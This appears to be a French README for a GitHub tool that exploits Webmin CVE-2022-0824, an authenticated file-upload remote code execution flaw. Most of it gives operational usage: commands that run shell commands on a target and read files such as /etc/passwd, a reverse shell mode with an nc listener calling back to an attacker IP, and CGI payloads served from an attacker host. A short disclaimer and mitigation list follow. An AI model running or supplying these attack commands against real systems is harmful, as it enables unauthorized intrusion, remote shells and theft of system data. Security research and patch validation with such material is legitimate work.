Webmin-CVE-2022-0824-Enhanced-Exploit
[!IMPORTANT]
Outil d'exploitation amélioré pour Webmin CVE-2022-0824 - prend en charge les modes exécution de commandes et shell inversé

[!IMPORTANT]
Un outil d'exploitation amélioré pour la vulnérabilité Webmin CVE-2022-0824, prenant en charge l'exécution directe de commandes et le shell inversé.
🚀 Fonctionnalités
- ✅ Support double mode : mode exécution de commandes + mode shell inversé
- ✅ Plusieurs payloads : trois payloads différents (Perl, Bash, Python)
- ✅ Gestion intelligente des fichiers : génération automatique de noms de fichiers uniques pour éviter les conflits
- ✅ Téléversement avec écrasement forcé : gestion automatique de l'écrasement des fichiers existants
- ✅ Méthodes de téléversement multiples : téléchargement HTTP, téléversement direct, création par exécution de commande
- ✅ Informations de débogage détaillées : journal complet du processus d'exécution
- ✅ Interface conviviale : sortie colorée et indicateurs d'état clairs
- Identifiant CVE : CVE-2022-0824
- Versions affectées : Webmin < 1.990
- Type de vulnérabilité : exécution de code à distance via un téléversement de fichier arbitraire
- Score CVSS : 9.8 (Critique)
🛠️ Prérequis d'installation
# Python 3.6+
pip3 install requests urllib3
📖 Utilisation
Mode d'exécution de commandes (recommandé)
# Exécution de commande de base
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# Afficher les informations système
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# Lister les fichiers
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# Afficher les fichiers sensibles
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# Informations réseau
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
Mode shell inversé
# 1. Démarrer un listener
nc -nlvp 9999
# 2. Exécuter l'exploit
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
📝 Description des paramètres
*Remarque : requis en mode shell inversé
🎯 Exemples d'utilisation
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
Exemple 2 : exploration du système de fichiers
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
Exemple 3 : consultation de la configuration réseau
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
🔧 Fonctionnement
- Authentification : connexion à l'interface d'administration Webmin avec les identifiants fournis
- Génération du payload : génération du script CGI correspondant selon le mode
- Téléversement du fichier : téléversement du payload via la fonction de téléchargement HTTP du gestionnaire de fichiers
- Définition des permissions : définition des droits d'exécution du fichier téléversé
- Exécution de commandes : accès au script CGI téléversé pour exécuter des commandes ou établir une connexion inverse
🛡️ Recommandations de protection
- Mettre à jour Webmin vers la dernière version (>= 1.990)
- Restreindre l'accès réseau à l'interface d'administration Webmin
- Utiliser des mots de passe forts et une authentification à deux facteurs
- Auditer régulièrement les journaux système
- Déployer un pare-feu applicatif Web (WAF)
⚠️ Avertissement
Cet outil est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives.
- 🚫 Interdit sur les systèmes non autorisés
- 🚫 Interdit pour les attaques malveillantes
- 🚫 L'utilisateur assume la responsabilité légale correspondante
- ✅ À utiliser uniquement dans un environnement explicitement autorisé
- ✅ Pour la recherche en sécurité et la validation de vulnérabilités
📚 Détails techniques
Types de payload
- Perl CGI : payload principal, meilleure compatibilité
- Bash CGI : payload de secours, adapté aux systèmes Linux
- Python CGI : payload de secours, le plus riche en fonctionnalités
Méthodes de téléversement
- Téléchargement HTTP : via la fonction de téléchargement distant du gestionnaire de fichiers Webmin
- Téléversement direct : via l'interface de téléversement de fichiers
- Création par commande : création du fichier via des commandes système
Stratégie de nommage des fichiers
- Hash MD5 basé sur le contenu de la commande
- Suffixe d'horodatage
- Garantir un nom de fichier différent à chaque exécution
🔄 Journal des mises à jour
v5.0 (2025-08-05)
- ✨ Ajout du mode d'exécution de commandes
- 🐛 Correction du problème d'écrasement des fichiers
- 🔧 Amélioration de la stratégie de nommage des fichiers
- 📈 Renforcement de la gestion des erreurs
v4.0 (basé sur la version originale)
- 🎯 Basé sur le code original de faisalfs10x
- 🔧 Amélioration de la compatibilité CGI
- 📝 Ajout de journaux détaillés
🤝 Contribution
Les issues et pull requests sont les bienvenues !
- Fork ce projet
- Créer une branche de fonctionnalité (
git checkout -b feature/AmazingFeature)
- Commiter les modifications (
git commit -m 'Add some AmazingFeature')
- Pousser vers la branche (
git push origin feature/AmazingFeature)
- Ouvrir une pull request
📄 Licence
Ce projet est sous licence MIT - consultez le fichier LICENSE pour plus de détails
🙏 Remerciements
Pour toute question ou suggestion, veuillez nous contacter via :
- 📧 Soumettre une issue GitHub
- 🐛 Signaler les problèmes de sécurité par message privé
⭐ Si ce projet vous est utile, soutenez-le avec une étoile !
🔗 Liens connexes
requirements.txt
requests>=2.25.1
urllib3>=1.26.0